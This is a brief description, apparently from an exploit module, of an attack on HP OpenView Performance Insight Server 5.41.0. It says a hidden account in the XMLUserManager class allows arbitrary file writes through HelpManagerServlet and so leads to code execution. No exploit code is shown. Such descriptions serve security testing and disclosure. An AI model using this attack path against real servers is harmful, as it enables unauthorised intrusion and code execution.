          This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java
          class. When using this account, an attacker can abuse the
          com.trinagy.servlet.HelpManagerServlet class and write arbitrary files to the system
          allowing the execution of arbitrary code.

          NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0
